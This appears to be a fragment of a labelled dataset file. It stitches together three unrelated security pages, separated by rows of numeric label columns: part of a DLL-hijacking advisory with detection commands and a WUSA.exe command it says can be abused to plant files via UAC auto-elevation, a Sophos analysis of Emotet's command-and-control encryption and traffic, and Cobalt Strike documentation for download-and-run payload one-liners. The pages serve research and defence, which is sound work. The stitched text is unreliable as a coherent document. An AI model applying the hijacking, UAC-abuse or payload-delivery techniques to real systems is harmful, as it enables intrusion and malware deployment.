to be corrected! To perform a quick (but non-exhaustive) check whether your Windows installation is affected, start a Command Prompt, run the following command lines, and inspect their output: Rem Copyright \xc2\xa9 2004-2019, Stefan Kanthak <\xe2\x80\x8dstefan\xe2\x80\x8d.\xe2\x80\x8dkanthak\xe2\x80\x8d@\xe2\x80\x8dnexgo\xe2\x80\x8d.\xe2\x80\x8dde\xe2\x80\x8d> FType | ""%SystemRoot%\\System32\\Find.exe"" /I "" %ProgramFiles%"" FType | ""%SystemRoot%\\System32\\Find.exe"" /I "" %ProgramFiles"" FType | ""%SystemRoot%\\System32\\Find.exe"" /I "" %CommonProgramFiles"" FType | ""%SystemRoot%\\System32\\Find.exe"" /I "" !USERPROFILE:\\%USERNAME%=\\!"" ""%SystemRoot%\\System32\\WBEM\\WMIC.exe"" PATH Win32_ClassicCOMClassSetting Where ""InProcHandler Is Not NULL"" Get InProcHandler /Value | ""%SystemRoot%\\System32\\Find.exe"" /V ""."" ""%SystemRoot%\\System32\\WBEM\\WMIC.exe"" PATH Win32_ClassicCOMClassSetting Where ""InProcHandler Is Not NULL"" Get InProcHandler /Value | ""%SystemRoot%\\System32\\Find.exe"" /V ""\\"" ""%SystemRoot%\\System32\\WBEM\\WMIC.exe"" PATH Win32_ClassicCOMClassSetting Where ""InProcHandler32 Is Not NULL"" Get InProcHandler32 /Value | ""%SystemRoot%\\System32\\Find.exe"" /V ""."" ""%SystemRoot%\\System32\\WBEM\\WMIC.exe"" PATH Win32_ClassicCOMClassSetting Where ""InProcHandler32 Is Not NULL"" Get InProcHandler32 /Value | ""%SystemRoot%\\System32\\Find.exe"" /V ""\\"" ""%SystemRoot%\\System32\\WBEM\\WMIC.exe"" PATH Win32_ClassicCOMClassSetting Where ""InProcServer Is Not NULL"" Get InProcServer /Value | ""%SystemRoot%\\System32\\Find.exe"" /V ""."" ""%SystemRoot%\\System32\\WBEM\\WMIC.exe"" PATH Win32_ClassicCOMClassSetting Where ""InProcServer Is Not NULL"" Get InProcServer /Value | ""%SystemRoot%\\System32\\Find.exe"" /V ""\\"" ""%SystemRoot%\\System32\\WBEM\\WMIC.exe"" PATH Win32_ClassicCOMClassSetting Where ""InProcServer32 Is Not NULL"" Get InProcServer32 /Value | ""%SystemRoot%\\System32\\Find.exe"" /V ""."" ""%SystemRoot%\\System32\\WBEM\\WMIC.exe"" PATH Win32_ClassicCOMClassSetting Where ""InProcServer32 Is Not NULL"" Get InProcServer32 /Value | ""%SystemRoot%\\System32\\Find.exe"" /V ""\\"" Use the batch script SLOPPY.CMD to perform all the checks listed here and above. Download, read and run the batch scripts SLOPPY7X.CMD and SLOPPY7D.CMD to conduct a more thorough check. Again: if you detect a simple filename or a partial (relative) pathname instead of a full (absolute) pathname in a call to a Win32 function that loads an executable file, in a command line, in a shortcut (.lnk), in the Registry, in a DESKTOP.INI file etc. as well as an unquoted argument in a command line, direct the author(s) of the vulnerable software (for example) to the MSDN articles referenced above as well as Guidelines For Developers and request a fix for this well-known vulnerability! Known Vulnerabilities Some, but not all (now fixed) individual vulnerabilities due to insecure search path handling only in Microsoft products are documented in the MSKB articles 306850, 819125, 905890, 959426, 2264107, 2385678, 2423089, 2423930, 2424434, 2443105, 2447961, 2478935, 2482017, 2489293, 2494047 2500212, 2508062, 2510030, 2533623, 2560656, 2560847, 2570947, 2587634, 2603381, 2604926, 2618444, 2620704, 2623699, 2639142, 2643719, 2651018, 2651019, 2661637, 2686509, 2707956, 2707960, 2719662, 2745030, 2961037, 3063858, 3072620, 3072631, 3074162, 3080348, 3108347, 3108371, 3108381, 3108664, 3110329, 3116162, 3121461, 3121918, 3134228, 3140709, 3148531, 3148789, 3163610, 3199172, 3204068, 3205655 and 4013078, the Security Bulletins MS06-051, MS09-014, MS09-015, MS10-087, MS10-093, MS10-094, MS10-095, MS10-096, MS10-097, MS11-001, MS11-003, MS11-015, MS11-016. MS11-017, MS11-023, MS11-025, MS11-055, MS11-059, MS11-071, MS11-073, MS11-075, MS11-076, MS11-085, MS11-094, MS11-099, MS12-002, MS12-012, MS12-014, MS12-021, MS12-022, MS12-034, MS12-039, MS12-046, MS12-074, MS14-023, MS15-063, MS15-069, MS15-070, MS15-082, MS15-132, MS16-007, MS16-014, MS16-025, MS16-037, MS16-041, MS16-070, MS16-130, MS16-148, MS16-149 and MS17-012, plus the Security Advisories 953818, 2269637, 2719662 and 3074162. At the time of writing the Security Advisory 2269637 lists 29 additional Security Bulletins! The vulnerability fixed with 3121918 alias MS16-007 is listed as CVE-2016-0014 in the CVE\xc2\xae: whenever an application used Win32 functions involving the Encrypting File System, FEClient.dll was loaded using its simple filename instead of its fully qualified (absolute) pathname %SystemRoot%\\System32\\FEClient.dll. Please notice the entries for January 2016 on Acknowledgments \xe2\x80\x93 2016. A variant of this programming error is documented in the MSDN articles for the Win32 functions LoadLibrary() and LoadLibraryEx() under the heading Security Remarks. For the execution of programs some, but not all (now fixed) individual vulnerabilities due to insecure search path handling only in Microsoft products are documented in the MSKB articles 264061, 269049, 303628, 327522, 2781197, 2823482 and 2847927, plus the Security Bulletins MS00-052, MS02-064, MS13-034 and MS13-058. The MSKB article 249321 but proposes to replace an absolute (full) pathname with a simple filename which introduces this vulnerability! Note: a Registry entry of type REG_EXPAND_SZ with value %SystemRoot%\\System32\\UserInit.exe avoids both errors! For the Win32 functions CreateProcess(), CreateProcessAsUser(), CreateProcessWithLogonW() and CreateProcessWithTokenW() another (now fixed) individual vulnerability where the command processor was called using the simple filename CMD instead of its fully qualified (absolute) pathname %ComSpec% alias %SystemRoot%\\System32\\Cmd.exe is documented in the MSKB article 2922229 and the Security Bulletin MS14-019. Please notice its Acknowledgements section, or see the entries for April on Acknowledgments \xe2\x80\x93 2014. The post MS14-019 \xe2\x80\x93 Fixing a binary hijacking via .cmd or .bat file on Microsoft\xe2\x80\x99s Security Research and Defense Blog gives additional information. This vulnerability is listed as CVE-2014-0315 in the CVE\xc2\xae. Many setup scripts for device drivers of many vendors (including many WHQL certified device drivers available from Windows Update and the Microsoft Update Catalog) suffer from both beginner\xe2\x80\x99s errors too! See the screenshot on the right for some examples of command lines with unquoted long pathnames and a simple filename. Please notice the entries for May 2014 and June 2015 on Security Researcher Acknowledgments Microsoft Online Services \xe2\x80\x93 Prior Months. Programs that are run from the user\xe2\x80\x99s Downloads directory %USERPROFILE%\\Downloads\\, the Temp directory %TEMP%\\ alias %USERPROFILE%\\AppData\\Local\\Temp\\ or %SystemRoot%\\Temp\\ respectively, as well as the user\xe2\x80\x99s Desktop directory %USERPROFILE%\\Desktop\\, typically and especially (self-extracting or self-unpacking) installers, almost always load some DLLs from these directories (which are their application directory), and typically also execute their payload from there. IExpress installers like CAPICOM-KB931906-v2102.exe, a security (sic!) update documented in the MSKB article 931906 and the Security Bulletin MS07-028, DotNETFX.exe and LangPack.exe for the .NET Framework versions 1.0, 1.1 and 2.0, and many more are well-known examples for arbitrary code execution vulnerabilities, and since Windows Vista due to UACs installer detection privilege escalation vulnerabilities too! All executable installers built with InnoSetup load and execute DWMAPI.dll or UXTheme.dll, \xe2\x80\xa6; InstallShield load and execute RichEd32.dll, \xe2\x80\xa6; NSIS before version 2.50 and 3.0b5 load and execute ShFolder.dll, DWMAPI.dll or UXTheme.dll, SetupAPI.dll, \xe2\x80\xa6; WiX toolset before version 3.10.2 load and execute MSI.dll, Version.dll, \xe2\x80\xa6; \xe2\x80\xa6 All self-extracting executable archives built with 7-Zip load and execute DWMAPI.dll or UXTheme.dll, \xe2\x80\xa6; WinRAR before version 5.31 load and execute DWMAPI.dll or UXTheme.dll, RichEd20.dll, RichEd32.dll, \xe2\x80\xa6; \xe2\x80\xa6 Known Weaknesses Each and every program not installed in Windows\xe2\x80\x99 system directory %SystemRoot%\\System32\\ (see Raymond Chen\xe2\x80\x99s TechNet magazine article Windows Confidential: History\xe2\x80\x94the Long Way Through for some hindsight) that is statically linked against DLLs which are neither installed in the program\xe2\x80\x99s application directory nor listed as known DLLs (see but Windows Confidential: The Known DLLs Balancing Act) or that (delay-)loads DLLs which are not installed in the program\xe2\x80\x99s application directory without using their full (absolute) pathname is susceptible to DLL hijacking. This attack is listed as CAPEC-471: DLL Search Order Hijacking in the CAPEC\xe2\x84\xa2. Well-known examples of such programs are %SystemRoot%\\Explorer.exe: loads and executes %SystemRoot%\\ACLUI.dll instead of %SystemRoot%\\System32\\ACLUI.dll; %SystemRoot%\\RegEdit.exe: as above; %SystemRoot%\\Write.exe; %SystemRoot%\\System32\\DISM\\DISMHost.exe: loads and executes %SystemRoot%\\System32\\DISM\\PEProvider.dll; %SystemRoot%\\System32\\SysPrep\\SysPrep.exe: loads and executes %SystemRoot%\\System32\\SysPrep\\CryptBase.dll instead of %SystemRoot%\\System32\\CryptBase.dll, \xe2\x80\xa6; %SystemRoot%\\System32\\WBEM\\WMIC.exe; \xe2\x80\xa6 Programs like %SystemRoot%\\System32\\SysPrep\\SysPrep.exe which silently gain full administrative privileges per UACs auto-elevation (mis)feature in protected administrator accounts and request administrative privileges in standard user accounts, or programs like %SystemRoot%\\RegEdit.exe which request full administrative privileges in protected administrator accounts, execute these bogus or rogue DLLs with full administrative privileges too. Note: since creating (or replacing) files in %SystemRoot%\\System32\\SysPrep\\ or the windows directory %SystemRoot%\\ needs administrative privileges, this weakness alone does not allow privilege escalation; together with UACs auto-elevation (mis)feature for protected administrators, which can be (ab)used to create (or replace) arbitrary files in %SystemRoot%\\ and below using (for example) the command line ""%SystemRoot%\\System32\\WUSA.exe"" ""\xe2\x80\xb9cabinet file\xe2\x80\xba"" /Extract:""\xe2\x80\xb9target directory\xe2\x80\xba"" it but becomes an exploitable vulnerability! Implementation and Build Details SENTINEL.DLL and SENTINEL.EXE are pure Win32 binary executables, written in ANSI\xc2 C, built with the Platform SDK for Windows Server 2003 R2 Microsoft Visual C++ Compiler 2010 SP1 from update 2519277, but without the MSVCRT libraries, for use on Windows 2000 XP and newer versions of Windows NT as well as Windows PE. SENTINEL.DLL exports DllCanUnloadNow and DllGetClassObject to support calls from COM, DllInstall, DllRegisterServer and DllUnregisterServer to support calls from RegSvr32.exe, plus RunDLLA and RunDLLW to support calls from RunDLL32.exe. SENTINEL.DLL and SENTINEL.EXE are available for the I386 alias x86, AMD64 alias x64 and IA64 processor architectures of Windows NT, localised for English and German. Authenticity and Integrity SENTINEL.DLL, SENTINEL.EXE and the cabinet file SENTINEL.CAB are digitally signed using an X.509 certificate issued by WEB.DE TrustCenter E-Mail Certification Authority. Serial number of the certificate 73633199 0x04638DAF Fingerprint of the certificate MD5:\xc2 25\xc2 a0\xc2 d6\xc2 b0\xc2 bc\xc2 37\xc2 fe\xc2 49\xc2 42\xc2 d1\xc2 64\xc2 ca\xc2 e6\xc2 7a\xc2 f5\xc2 7f SHA-1:\xc2 47\xc2 79\xc2 b5\xc2 28\xc2 f0\xc2 84\xc2 e6\xc2 ce\xc2 f8\xc2 77\xc2 7b\xc2 62\xc2 dc\xc2 c4\xc2 b3\xc2 1f\xc2 fe\xc2 de\xc2 07\xc2 14 -----BEGIN RSA PUBLIC KEY----- MIIBCgKCAQEAxSwxNrFPXXn6y5Abl+0pH7faIK0xVAh70reOBrwSykab/0kIwz0QJldXNTLl ZaSb4T7A5il2oqhiHUS53owsguXrDaJ+l+iTuCR/NrOVBJ0Xi+1Kv+ni/jb3cLvTS/BQJtFm fVW3HHtYrQQcYCpd/AVzg1k2p46BEbGfFpjfFREdM589UDSzaiIOWSEBec8RI3HVqIMiG2qL seuQot9shOcNcV2Y2AgTKHBUrWz10kbCWf8g5QA2hjmSMRvRtBOovCgvSF0nDFk4Odrn9nLB PVq763s2vh/riO9cheTeg4N/ldbnAywdjLAwwJ1qynh2p/s/V5cnsoav7SZRGDyAoQIDAQAB -----END RSA PUBLIC KEY----- Download and install the CA and root X.509 certificates of WEB.DE to validate and verify the digital signature. Note: due to its counter signature alias timestamp the digital signature remains valid past the X.509 certificates expiration date! Download AMD64\\SENTINEL.DLL, AMD64\\SENTINEL.EXE, I386\\SENTINEL.DLL, I386\\SENTINEL.EXE, IA64\\SENTINEL.DLL, IA64\\SENTINEL.EXE and the setup script SENTINEL.INF are packaged in the (compressed and digitally signed) cabinet file SENTINEL.CAB. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. X:\\>EXTRACT.EXE /D SENTINEL.CAB Microsoft (R) Cabinet Extraction Tool - Version 5.1.2600.5512 Copyright (c) Microsoft Corporation. All rights reserved.. Cabinet SENTINEL.CAB 07-07-2017 2:04:02p A--- 40,688 SENTINEL.INF 02-06-2017 3:12:28p A--- 43,704 AMD64\\SENTINEL.DLL 02-06-2017 3:12:30p A--- 43,192 AMD64\\SENTINEL.EXE 02-06-2017 3:12:20p A--- 42,680 I386\\SENTINEL.DLL 02-06-2017 3:12:22p A--- 42,680 I386\\SENTINEL.EXE 02-06-2017 3:12:38p A--- 53,432 IA64\\SENTINEL.DLL 02-06-2017 3:12:38p A--- 53,432 IA64\\SENTINEL.EXE 7 Files 319,808 bytes X:\\>dir SENTINEL.CAB Volume in drive X has no label. Volume Serial Number is FEED-BAC3 Directory of X:\\ 07/07/2017 02:35 PM 47,453 SENTINEL.CAB 1 File(s) 47,453 bytes 0 Dir(s) 987,654,321 bytes free X:\\>SIGNTOOL.EXE Verify /V SENTINEL.CAB Verifying: SENTINEL.CAB SHA1 hash of file: (not calculated) Signing Certificate Chain: Issued to: WEB.DE TrustCenter Issued by: WEB.DE TrustCenter Expires: 30.08.2024 09:49:34 SHA1 hash: C8301016951187E6320569B3ED54F34845B51638 Issued to: WEB.DE TrustCenter E-Mail Certification Authority Issued by: WEB.DE TrustCenter Expires: 30.08.2024 09:50:51 SHA1 hash: 8946380C6E370988FB587257A9F9A5CD323045F0 Issued to: Stefan Kanthak Issued by: WEB.DE TrustCenter E-Mail Certification Authority Expires: 14.09.2017 15:14:26 SHA1 hash: 4779B528F084E6CEF8777B62DCC4B31FFEDE0714 The signature is timestamped: 07.07.2017 14:35:26 Timestamp Verified by: Issued to: Thawte Timestamping CA Issued by: Thawte Timestamping CA Expires: 01.01.2021 01:59:59 SHA1 hash: BE36A4562FB2EE05DBB3D32323ADF445084ED656 Issued to: Symantec Time Stamping Services CA - G2 Issued by: Thawte Timestamping CA Expires: 31.12.2020 01:59:59 SHA1 hash: 6C07453FFDDA08B83707C09B82FB3D15F35336B1 Issued to: Symantec Time Stamping Services Signer - G4 Issued by: Symantec Time Stamping Services CA - G2 Expires: 30.12.2020 01:59:59 SHA1 hash: 65439929B67973EB192D6FF243E6767ADF0834E4 Successfully verified: SENTINEL.CAB Number of files successfully Verified: 1 Number of warnings: 0 Number of errors: 0 X:\\> Run the command line ""%SystemRoot%\\System32\\Expand.exe"" SENTINEL.CAB /F:* ""\xe2\x80\xb9target directory\xe2\x80\xba"" on Windows Vista and newer versions of Windows NT to extract all files into the specified directory, preserving their paths. Note: Expand.exe from prior versions of Windows NT ignore the paths and junk them; use Extract.exe from the Support Tools on Windows XP and Windows Server 2003 instead! Note: switch to Details view and turn on the Path column when you open SENTINEL.CAB in Windows Explorer! Installation The installation requires administrative privileges. The setup script SENTINEL.INF copies SENTINEL.DLL and SENTINEL.EXE as %SystemRoot%\\System32\\.dll and %SystemRoot%\\System32\\.exe, as %SystemDrive%\\Program.dll and %SystemDrive%\\Program.exe, as ""%ProgramFiles%\\Common.dll"" and ""%ProgramFiles%\\Common.exe"", as ""%ProgramFiles%\\Internet.dll"" and ""%ProgramFiles%\\Internet.exe"", as ""%ProgramFiles%\\Microsoft.dll"" and ""%ProgramFiles%\\Microsoft.exe"", as ""%ProgramFiles%\\Windows.dll"" and ""%ProgramFiles%\\Windows.exe"", as ""%CommonProgramFiles%\\Microsoft.dll"" and ""%CommonProgramFiles%\\Microsoft.exe"", with various filenames into the user\xe2\x80\x99s Downloads directory ""%USERPROFILE%\\Downloads\\"" and the system\xe2\x80\x99s Temp directory %SystemRoot%\\Temp\\, creates Software Restriction Policies alias SAFER hash rules to allow execution of SENTINEL.DLL and SENTINEL.EXE from any path, defines the message source for the Event Log in the registry, creates an entry Vulnerability and Exploit Detector under Installed Updates, and finally executes both SENTINEL.DLL and SENTINEL.EXE from the installation directory to demonstrate and verify their correct function. Note: on systems with AMD64 alias x64 processor architecture, the installation must be run in the native (64-bit) execution environment to install SENTINEL.DLL and SENTINEL.EXE for both processor architectures! Automatic online installation If visited with Internet Explorer, this web page will prompt to install (the contents of) the package using Internet Component Download. Note: on systems with AMD64 alias x64 processor architecture, Internet Explorer (x64) must be used! Manual offline installation Download the package SENTINEL.CAB and verify its digital signature, then open it in Windows Explorer, extract its contents preserving the directory structure, right-click the extracted setup script SENTINEL.INF to display its context menu and click Install to run the installation. Note: SENTINEL.EXE is run during installation for every processor architecture and displays the message box shown on top! Update The setup script supports the update from any previous version: just install the current version! Deinstallation Not provided. Contact If you miss anything here, have additions, comments, corrections, criticism or questions, want to give feedback, hints or tipps, report broken links, bugs, deficiencies, errors, inaccuracies, misrepresentations, omissions, shortcomings, vulnerabilities or weaknesses, \xe2\x80\xa6: don\xe2\x80\x99t hesitate to contact me and feel free to ask, comment, criticise, flame, notify or report! Notes: I dislike HTML (and even weirder formats too) in email, I prefer to receive plain text. I also expect to see your full (real) name as sender, not your nickname! Emails in weird formats and without a proper sender name are likely to be discarded. I abhor top posts and expect inline quotes in replies. Terms and Conditions By using this site, you signify your agreement to these terms and conditions. If you do not agree to these terms and conditions, do not use this site! The software and the documentation on this site are provided as\xc2 is without any warranty, neither express nor implied. In no event will the author be held liable for any damage(s) arising from the use of the software or the documentation. Permission is granted to use the current version of the software and the current version of the documentation solely for personal private and non-commercial purposes. An individuals use of the software or the documentation in his or her capacity or function as an agent, (independent) contractor, employee, member or officer of a business, corporation or organisation (commercial or non-commercial) does not qualify as personal private and non-commercial purpose. Without written approval from the author the software or the documentation must not be used for a business, for commercial, corporate, governmental, military or organisational purposes of any kind, or in a commercial, corporate, governmental, military or organisational environment of any kind. Redistribution of the software and the documentation is allowed only in unmodified form of its current version and free of charge. Data Protection Declaration This web page records no (personal) data and stores no cookies in the web browser. The web service is operated and provided by Telekom Deutschland GmbH Business Center D-64306 Darmstadt Germany <\xe2\x80\x8dhosting\xe2\x80\x8d@\xe2\x80\x8dtelekom\xe2\x80\x8d.\xe2\x80\x8dde\xe2\x80\x8d> +49\xc2 800\xc2 5252033 The web service provider stores a session cookie in the web browser and records every visit of this web site with the following data in an access log on their server(s): the (pseudonymised) IP address; the date and time of the request; the URL of the requested web page or file; the Referer and User-Agent HTTP headers sent by the web browser; the result (success or failure) of the request; the amount of data received and sent. Copyright \xc2\xa9 1995\xe2\x80\x932019 \xe2\x80\xa2 Stefan Kanthak \xe2\x80\xa2 <\xe2\x80\x8dstefan\xe2\x80\x8d.\xe2\x80\x8dkanthak\xe2\x80\x8d@\xe2\x80\x8dnexgo\xe2\x80\x8d.\xe2\x80\x8dde\xe2\x80\x8d>","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Emotet 101, stage 4: command and control \xe2\x80\x93 Sophos News Skip to content Sophos News Products XG FirewallThe next thing in next-gen. SG UTMThe ultimate network security package. Secure Wi-FiSuper secure, super wi-fi. Secure Web GatewayComplete web protection everywhere. Secure Email GatewaySimple protection for a complex problem. PureMessageGood news for you. Bad news for spam. Endpoint ProtectionComprehensive security for users and data. Intercept XA completely new approach to endpoint security. Sophos CleanAdvanced scanner and malware removal tool. Mobile ControlCountless devices, one solution. SafeGuard EncryptionProtecting your data, wherever it goes. Server ProtectionSecurity optimized for servers. Sophos HomeFree protection for home computers. Solutions IndustriesYour industry. Our expertise. IT InitiativesEmbrace IT initiatives with confidence. ComplianceHelping you to stay regulatory compliant. OEM SolutionsTrusted by world-leading brands. Professional ServicesOur experience. Your peace of mind. SophosLabsBehind the scene of our 24/7 security. Public CloudStronger, simpler cloud security. Partners Support Company Downloads Free TrialsAll product trials in one place. Free ToolsTry our tools for use at home. Get PricingThe right price every time. Search Sign In Overview Investors Press Events Community Blog Careers Contact Sophos News Menu Search Search Go Close Emotet 101, stage 4: command and control SophosLabs\xe2\x80\xa2SophosLabs Uncut\xe2\x80\xa2101\xe2\x80\xa2bot\xe2\x80\xa2emotet\xe2\x80\xa2maldocs\xe2\x80\xa2malspam\xe2\x80\xa2malware\xe2\x80\xa2payload\xe2\x80\xa2PDF\xe2\x80\xa2Sophos101\xe2\x80\xa2Spam\xe2\x80\xa2word\xe2\x80\xa2XML 5 March 2019 1 Share on Twitter Share on Facebook Share on LinkedIn By Andrew Brandt By SophosLabs Research The Emotet family could not do what it does without receiving a constant stream of instructions from its owners, or in the absence of the detailed level of feedback about its operating environment each bot sends home from an infected host machine. It also uses huge numbers of compromised websites that belong to other people or businesses to host copies of its main executable. These files get taken down quickly, so the network is in a constant state of flux. A sampling of Emotet payload URLs In many ways, the entire operation of Emotet hinges on the bot being able to send and receive regular installments of data and feedback, instructions and results, payloads and signals about task completion. If the bot cannot connect, it cannot do its job. Each Emotet binary communicates with its command-and-control (C2) server in unusual ways, in some cases by using conventional network protocols in ways they were never intended. Emotet has a tendency to rely on the use of compromised, legitimate websites for hosting the malware itself, but it uses servers under the direct control of the botnet operators to receive messages from, and send instructions to, each node on the botnet. Emotet typically uses the HTTP protocol to exfiltrate stolen data or receive instructions, but it does not strictly follow the conventions of that protocol, nor does it transmit that information in the clear. Emotet transmits data to the C2 server in the form of a \xe2\x80\x9ccookie\xe2\x80\x9d that isn\xe2\x80\x99t really a cookie at all The malware encrypts all the data it will transmit using a two-stage process, which it then transmits over\xc2 unencrypted HTTP. It performs these communications with its C2 servers by performing an HTTP GET request that includes the passing of the data in the guise of a browser cookie. The header \xc2 The server may respond with a simple acknowledgment or with a longer set of instructions or commands. Here is an insider\xe2\x80\x99s look into how Emotet communicates with its C2 servers. Emotet phone home Emotet periodically queries the list of running Windows processes and sends it to the C2 server. This routine serves as a good example of how the malware encrypts the data, transmits it, and interprets the results. Emotet gathers some information about the infected system, and then serializes that data using protobuf. The Emotet exfiltration data package, sending home a list of running programs The malware uses certain constants (highlighted in red) to \xe2\x80\x9csign\xe2\x80\x9d the formatted package of data it will exfiltrate (circled in blue). The data masked by a grey bar contains the computer name and the volume serial number of the infected system, hidden here to make it more difficult for the Emotet operators to identify our test system. Here\xe2\x80\x99s what those highlighted constants indicate: after 0x08:\xc2 The byte after 0x08 is set to 0x00 when the initial API loading (crypt32.dll, urlmond.dll, user32.dll, userenv.dll, wininet.dll, wtsapi32.dll) is successful. After the first network communication, the bot increments this value, like an odometer, with every successive communication. after 0x12:\xc2 The number that immediately follows the 0x12 (the first blue highlighted byte) is the length, in bytes, of a concatenation of the computer name and volume serial number information (derived from the GetVolumeInformationW\xc2 function, lpVolumeSerialNumber) separated with an underscore, eg., computername_volumeserialnumber. The actual concatenation follows the length. after 0x18:\xc2 The three bytes here is calculated from the native system information (RtlGetVersion, GetNativeSystemInfo) after 0x20: The session ID from the Process Environment Block (PEB) after 0x2D: CRC value (generated by RtlComputeCrc32) of the Emotet executable after 0x32:\xc2 the comma-separated list of processes. (generated by Process32FirstW, Process32NextW) This section is terminated in the highlighted byte 0x3A at the end of the screenshot. Encrypting the message Once the above data structure is complete, Emotet serializes the data using protobuf, before compressing with zlib (and serializing again). Then it encrypts the message. The Emotet binary contains an RSA public key, which it uses with the CryptGenKey function call to generate an AES 128 symmetric encryption key pair. Emotet encrypts the data block using this key, then encodes the encrypted data in base64, and finally transmits it by performing an HTTP GET request to the root directory of the C2 server. The malware actually transmits the data by attaching it as a \xe2\x80\x9ccookie\xe2\x80\x9d to the HTTP request headers (shown below), thereby making the \xe2\x80\x9ccontent\xe2\x80\x9d of the HTTP request empty. The C2 servers can receive these communications on port 80, which is the default port for HTTP, but may also receive them on port 443, which is the default for HTTPS traffic, or on a number of other nonstandard ports, including but not limited to 7080, 8080, 8090, 50000, or several others. The table above shows the frequency breakdown of ports used by Emotet for command and control, taken from a sample set of about 3000 Emotet executables. User tips for detecting Emotet network traffic Unencrypted HTTP traffic requests, with empty content and no exchange of SSL certificates, to ports normally used by HTTPS may indicate the presence of Emotet in your network. HTTP traffic to other ports normally used by standard services, such as DNS (53) or SMTPS (465) is another red flag. Empty (no content) HTTP GET requests with the unusually long cookie header, sent directly to internet IP addresses (as opposed to domain names), may be another. The response from the C2 server contains an encrypted blob of feedback, which the malware needs to decrypt and verify before it will act upon the instructions. The response to the transmission shown above contained an updated version of the Emotet malware application, itself, which the malware decrypted and then launched. The updated build of Emotet then supplants the prior build, and deletes the older version of the malware. Acknowledgments SophosLabs researchers Anand Ajjan, Kriszti\xc3\xa1n Diriczi, Anton Kalinin, and Luca Nagy contributed to this section of the report. Post navigation Prev Emotet 101, stage 3: The Emotet executable Next Emotet 101, stage 5: a delivery vehicle for more malware About the Author Andrew Brandt Andrew Brandt is a Principal Researcher for Sophos, specializing in security analytics and the forensic, retrospective analysis of malware infections and cyberattacks. In essence, he does whatever it takes to make life and business difficult for cybercriminals, spies, and other Internet miscreants. Prior to joining Sophos, Brandt was the Director of Threat Research at Symantec, and at Blue Coat systems before they were acquired by Symantec. He also worked as the Lead Threat Research Analyst at Webroot, and was an editor at PC World, covering security and privacy, for nearly a decade. 1 Comment Anonymous 03 June 2019 at 3:41 am Please share sample hashes Reply Leave a Reply Cancel reply Enter your comment here... Fill in your details below or click an icon to log in: Email (Address never made public) Name Website You are commenting using your WordPress.com account. (\xc2 Log\xc2 Out\xc2 /\xc2 Change\xc2 ) You are commenting using your Google account. (\xc2 Log\xc2 Out\xc2 /\xc2 Change\xc2 ) You are commenting using your Twitter account. (\xc2 Log\xc2 Out\xc2 /\xc2 Change\xc2 ) You are commenting using your Facebook account. (\xc2 Log\xc2 Out\xc2 /\xc2 Change\xc2 ) Cancel Connecting to %s Notify me of new comments via email. This site uses Akismet to reduce spam. Learn how your comment data is processed. You might also enjoy... 05 Mar SophosLabs \xe2\x80\xa2 SophosLabs Uncut Emotet 101, stage 5: a delivery vehicle for more malware 05 Mar SophosLabs \xe2\x80\xa2 SophosLabs Uncut Emotet 101, stage 3: The Emotet executable 05 Mar SophosLabs \xe2\x80\xa2 SophosLabs Uncut Emotet 101, stage 2: The malicious attachment and killchain 05 Mar SophosLabs \xe2\x80\xa2 SophosLabs Uncut Emotet 101, stage 1: The spam lure Facebook Twitter YouTube Popular Free Trials Free Tools Whitepapers Technical Papers Buy Online Sophos Brand Store Community Sophos News Social Networks Naked Security News Podcasts RSS Work With Us Become a Partner Partner Portal (login) Resellers Tech Partners OEM About Sophos Jobs/Careers Products Feedback Contact Us Press Modern Slavery Statement Support Extended Warranties Knowledgebase Downloads & Updates Documentation Professional Services Training Sophos News \xc2\xa9 1997 - 2019 Sophos Ltd. All rights reserved Legal Privacy Cookie Information Powered by WordPress.com VIP Post to Cancel","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0" -"Scripted Web Delivery - Cobalt Strike Download Now Features Screenshots Training Support Scripted Web Delivery The Attacks -> Web Drive-by -> Scripted Web Delivery feature generates an artifact that starts Beacon, hosts it on Cobalt Strike's web server, and presents a one-liner to download and run the artifact. The options are: bitsadmin, powershell, python, and regsvr32. The bitsadmin option hosts an executable and uses bitsadmin to download it. The bitsadmin method runs the executable via cmd.exe. The powershell option hosts a PowerShell script and uses powershell.exe to download the script and evaluate it. The python option hosts a Python script and uses python.exe to download the script and run it. The regsvr32 option generates a COM Scriptlet file and uses regsvr32.exe to download and run the scriptlet\xe2\x80\x99s contents. The COM Scriptlet gets Beacon into memory with a malicious VBA macro. The COM Scriptlet option requires Microsoft Office on the target. Each of these options is a different way to run a Cobalt Strike listener. Check Enable SSL to serve this content over SSL. This option is available when you specify a valid SSL certificate in your Malleable C2 profile. Make sure the Host field matches the CN field of your SSL certificate. This will avoid a situation where this feature fails because of a mismatch between these fields. \xc2\xa9 2012-2018 Strategic Cyber, LLC | Corporate Compliance & Ethics | 